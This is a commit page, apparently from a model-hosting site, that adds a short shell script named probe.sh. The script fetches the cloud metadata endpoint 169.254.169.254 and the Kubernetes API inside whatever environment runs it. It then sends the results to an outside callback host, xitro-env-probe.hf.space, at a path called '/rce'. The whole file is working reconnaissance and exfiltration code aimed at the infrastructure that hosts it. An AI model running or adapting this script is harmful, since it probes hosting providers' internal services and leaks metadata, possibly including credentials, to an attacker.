xitro commited on
Commit
198cdb5
·
verified ·
1 Parent(s): d687493

add probe script

Browse files
Files changed (1) hide show
  1. probe.sh +13 -0
probe.sh ADDED
@@ -0,0 +1,13 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/bin/sh
2
+ # Probe IMDS and callback
3
+ PROBE_URL="https://xitro-env-probe.hf.space"
4
+
5
+ # Test IMDS
6
+ IMDS=$(wget -q -O- --timeout=3 http://169.254.169.254/latest/meta-data/ 2>&1 | head -c 100 || echo "BLOCKED")
7
+ K8S=$(wget -q -O- --timeout=3 https://kubernetes.default.svc.cluster.local/ 2>&1 | head -c 100 || echo "BLOCKED")
8
+
9
+ # Callback with results
10
+ wget -q -O- "${PROBE_URL}/rce?src=docker_sh&imds=$(echo $IMDS | head -c 50)&k8s=$(echo $K8S | head -c 50)" 2>/dev/null || true
11
+
12
+ echo "IMDS: $IMDS"
13
+ echo "K8S: $K8S"